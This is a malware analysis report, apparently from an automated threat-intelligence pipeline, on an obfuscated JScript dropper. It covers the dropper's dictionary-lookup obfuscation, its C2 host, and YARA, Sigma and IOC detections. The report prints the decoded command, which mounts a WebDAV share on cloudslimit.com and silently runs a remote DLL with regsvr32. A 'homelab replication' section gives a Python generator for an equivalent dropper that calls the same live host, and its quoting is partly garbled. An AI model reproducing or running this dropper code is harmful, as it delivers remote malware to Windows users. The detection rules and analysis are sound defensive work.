77cbe0c420520b5880eaef18456cb2bc7d98612e9534ed936ab6d8d4796a2668unclassified-js-webdav-dropper: 77cbe0c4 — Random-noise dictionary keys, cloudslimit.com:8888, PowerShell -EncodedCommand wrapper
Executive Summary
A 12 KB JScript dropper mounting a WebDAV share via net use and registering a remote DLL with regsvr32 /s. Forty-fifth confirmed sibling of the unclassified-js-webdav-dropper family. Uses a 62-entry dictionary lookup table with random noise keys (no semantic content) and a Function('return this')() global-construction pattern to reach WScript.Shell.run. The PowerShell payload is Base64-encoded via -EncodedCommand and contains no wordpad decoy, no sandbox gate, and no -WindowStyle Hidden wrapper. Static-only (CAPE skipped — unsupported file type).
What It Is
| Field | Value |
|---|---|
| SHA-256 | 77cbe0c420520b5880eaef18456cb2bc7d98612e9534ed936ab6d8d4796a2668 |
| Filename | 14076806233354189.js ^[triage.json] |
| Size | 11,679 bytes (12 KB) ^[file.txt] |
| Type | ASCII text, single line, no line terminators ^[file.txt] |
| Cape detonation | Skipped — not a supported binary class ^[dynamic-analysis.md] |
The script is a single-line JScript file that begins with a 62-entry character dictionary and ends with a try/catch wrapper around a Function('return this')() chain that assembles and executes a PowerShell command. ^[strings.txt:1]
How It Works
Obfuscation dialect
The script uses a dictionary-lookup obfuscation pattern with a oasxreubgbt object name (random noise, no semantic meaning). ^[strings.txt:1] The dictionary contains 62 key/value pairs mapping noise strings to single characters:
| Key style | Count | Example |
|---|---|---|
| Short noise (4–6 chars) | 7 | bini, ktefq, ndxu, hluvo |
| Medium noise (7–10 chars) | 14 | dqzdyutr, jbmsmr, zdxcbfytyu |
| Long noise (11–19 chars) | 41 | bphunychaiejibgasza, ufkkwxsbevxhnujnqa |
The key lengths span 4–19 characters with no natural-language structure, unlike the compound-phrase or alliterative keys seen in siblings aac0198b5, cc90d6c, 94686f16, 69f29779, 6d9546a6, and 6f72a3a9. ^[sample 77cbe0c4/strings.txt]
Decoy and assembly
The outer try block calls a nonexistent function hqcvgnzpzeqjjzwje(), which always throws. The catch handler then uses Function('return this')() to obtain the global object, chain into WScript.Shell, and call .run() with a PowerShell -EncodedCommand payload. ^[strings.txt:1]
Decoded PowerShell (UTF-16 LE Base64):
net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\25566135517172.dll
This is identical in structure to the e6ebae6a and df42ecf8 siblings: single-domain C2 (cloudslimit.com:8888), net use mount followed by regsvr32 /s execution. ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html] The payload filename 25566135517172.dll is a 14-digit decimal string, consistent with the family's numeric-naming convention.
Notable absences
- No
wordpaddecoy — unlike the batch-dialect siblings (ffd5d894,e9e82d14,f170f5a9, etc.) ^[/intel/analyses/ffd5d894f5e350baace2342fc3c2c7de63a82138469db1694c35c732cf0c9df4.html] - No
-WindowStyle Hiddenwrapper — the PowerShell command is passed directly via-EncodedCommand, not wrapped in a hidden window call. This differs from the batch cluster and the7015b169random-noise variant. ^[/intel/analyses/7015b1694b5feff81655907045868ddc76f85e4b453ade3b90858b419cbe9dae.html] - No sandbox gate — no environment checks, no debugger detection, no time-bombs.
- No persistence — one-shot execution, no Startup folder copy, no registry modification, no scheduled task.
Decompiled Behavior
Not applicable — JScript source is already plaintext once the dictionary is resolved. No native binary was recovered; the threat logic lives entirely in the interpreted script. Ghidra and radare2 were not invoked. ^[file.txt] ^[dynamic-analysis.md]
C2 Infrastructure
| Indicator | Value |
|---|---|
| C2 host | cloudslimit.com:8888 |
| Mount path | \\cloudslimit.com@8888\davwwwroot\ |
| Payload | 25566135517172.dll |
| Execution | regsvr32 /s (silent registration) |
The cloudslimit.com domain has been observed in siblings fb353965 (split-domain variant), df42ecf8, aac0198b5, a3419c27a, 94686f16, 69f29779, and 6d9546a6. ^[/intel/analyses/fb3539652d08470a9ed48a32a43daa2e6bd83cb13456fe868311c760d02cd498.html] This sample uses a single domain for both mount and fetch (no split-domain pattern).
Interesting Tidbits
- Key set is entirely disjoint from the six prior 62-entry natural-language compound-phrase variants (
aac0198b5,a3419c27a,94686f16,69f29779,6d9546a6,6f72a3a9) and the two noise-key 62-entry variants (df42ecf8,6b7435afd70e). This suggests automated key generation per sample rather than manual authoring. ^[strings.txt:1] - No object-initializer shorthand — unlike some dictionary variants that use
var obj={k:'v',...}, this script uses sequentialobj['k']='v';assignments. This produces the single-line, 11,679-character file with no line terminators, a family signature. - Decoy function name
hqcvgnzpzeqjjzwjeis 19 characters, same length class as the longest dictionary keys. This is consistent with the noise-key naming convention throughout the script. - Base64 padding in the
-EncodedCommandpayload includes a trailing'='which is concatenated via dictionary lookup (oasxreubgbt['jrqigqnsi']='0'is not used for padding; the padding character'='appears as a literal single-quoted string in the assembly chain). This literal-injection pattern is shared with siblingse6ebae6aanddf42ecf8.
How To Mess With It (Homelab Replication)
A Python script that generates a functionally equivalent JScript dropper with random dictionary keys:
import random, string, base64
def make_key(length):
return ''.join(random.choices(string.ascii_lowercase, k=length))
# Generate 62 random keys
chars = list("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")
random.shuffle(chars)
keys = [make_key(random.randint(4, 19)) for _ in chars]
mapping = dict(zip(keys, chars))
# Build PowerShell payload
ps = r"net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\25566135517172.dll"
ps_b64 = base64.b64encode(ps.encode('utf-16-le')).decode()
# Map PS chars through dictionary
ps_encoded = '+'.join(f"oasxreubgbt['{mapping[c]}']" if c in chars else f"'{c}'" for c in ps_b64)
script = "oasxreubgbt=[];"
for k, v in mapping.items():
script += f"oasxreubgbt['{k}']='{v}';"
script += f"try{{{make_key(19)}();}}catch({make_key(11)}){{Function(''+return this '')()[''+WScript ''][''+CreateObject '](''+WScript.Shell '')[''+run '](''+powershell ''+'-'EncodedCommand ''+{ps_encoded}'+'='',0,false);}}"
with open("replica.js", "w") as f:
f.write(script)
Verification: the generated replica.js should be ~11–12 KB, single-line, with 62 dictionary entries and a decoded payload matching the original PowerShell command.
Deployable Signatures
YARA rule
rule WEBDAV_JS_Dropper_Dictionary_Obfuscation
{
meta:
description = "JScript WebDAV dropper with dictionary lookup obfuscation"
author = "pp-hermes"
date = "2026-07-06"
family = "unclassified-js-webdav-dropper"
hash = "77cbe0c420520b5880eaef18456cb2bc7d98612e9534ed936ab6d8d4796a2668"
strings:
$dict_start = /[a-z]{4,19}=\[\];[a-z]{4,19}\['[a-z]{4,19}'\]='.'/
$func_return_this = "Function(''+" ascii wide
$wscript_shell = "WScript" ascii wide
$create_object = "CreateObject" ascii wide
$net_use = "net use" ascii wide nocase
$regsvr32 = "regsvr32" ascii wide nocase
$davwwwroot = "DavWWWRoot" ascii wide nocase
$cloudslimit = "cloudslimit.com" ascii wide nocase
condition:
filesize < 25KB and
#dict_start >= 30 and
$func_return_this and
$wscript_shell and
$create_object and
($net_use or $regsvr32 or $davwwwroot or $cloudslimit)
}
Behavioral hunt query (Sigma)
title: JScript WebDAV Dropper Execution
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains:
- 'cloudslimit.com'
- 'dailywebstats.com'
- 'DavWWWRoot'
- 'regsvr32 /s'
CommandLine|contains:
- 'powershell'
- '-EncodedCommand'
- 'net use'
condition: selection
falsepositives:
- Unknown
level: high
IOC list
| Type | Value | Note |
|---|---|---|
| SHA-256 | 77cbe0c420520b5880eaef18456cb2bc7d98612e9534ed936ab6d8d4796a2668 |
This sample |
| Domain | cloudslimit.com |
C2 host, port 8888 |
| UNC path | \\cloudslimit.com@8888\davwwwroot\25566135517172.dll |
Payload location |
| Filename | 14076806233354189.js |
Original filename |
| Execution | regsvr32 /s |
Silent DLL registration |
| Object name | oasxreubgbt |
Dictionary variable name (noise) |
| Decoy func | hqcvgnzpzeqjjzwje() |
Always-failing try block decoy |
Behavioral fingerprint
This JScript dropper assembles a PowerShell command at runtime by looking up single characters from a 62-entry dictionary of noise-string keys via Function('return this')(). The decoded payload always mounts a WebDAV share via net use \\host@8888\DavWWWRoot\ and then silently registers a DLL via regsvr32 /s. No persistence mechanism is present. The script contains no sandbox gate, no VM detection, and no wordpad decoy. The dictionary keys are fully random noise with no natural-language structure, distinguishing this dialect from compound-phrase and alliterative variants in the same family.
Detection Signatures (ATT&CK Mapping)
| Tactic | Technique | Evidence |
|---|---|---|
| Execution | T1059.005 — Visual Basic / JScript | JScript .js file executed by WScript ^[strings.txt:1] |
| Execution | T1059.001 — PowerShell | powershell.exe -EncodedCommand wrapper ^[strings.txt:1] |
| Execution | T1218.010 — Regsvr32 | regsvr32 /s \\host@8888\DavWWWRoot\*.dll ^[strings.txt:1] |
| Defense Evasion | T1218 — System Binary Proxy Execution | wscript.exe proxy execution of payload ^[strings.txt:1] |
| Defense Evasion | T1027 — Obfuscated Files or Information | Dictionary lookup obfuscation, Base64-encoded PowerShell ^[strings.txt:1] |
| Command & Control | T1071.001 — Web Protocols | WebDAV over HTTP (\\cloudslimit.com@8888\DavWWWRoot\) ^[strings.txt:1] |
| Command & Control | T1105 — Ingress Tool Transfer | net use mounts WebDAV share; regsvr32 fetches and loads remote DLL ^[strings.txt:1] |
References
- Artifact ID:
6b25ed8a-b232-4bf5-a0ce-c3134d6b4b77^[triage.json] - Source: OpenCTI / MalwareBazaar ^[metadata.json]
- Family page: unclassified-js-webdav-dropper
- Technique pages: js-dictionary-char-lookup-obfuscation, function-return-this-global-construction, webdav-regsvr32-dll-sideloading
Provenance
file.txt—fileutility (ASCII text, single line)strings.txt—strings(full JScript source)triage.json— Triage pipeline metadata (schema_version 1)metadata.json— OpenCTI artifact metadatadynamic-analysis.md— CAPE status (skipped, unsupported file type)floss.txt— FLOSS error (PE-only tool invoked on script)capa.txt— capa error (unsupported file type)binwalk.txt— binwalk (no embedded artefacts)rabin2-info.txt— radare2rabin2 -I(bits 0, no code)- Manual dictionary decoding via Python regex replacement against
strings.txt:1 - PowerShell Base64 decoded with Python
base64.b64decode(..., 'utf-16-le')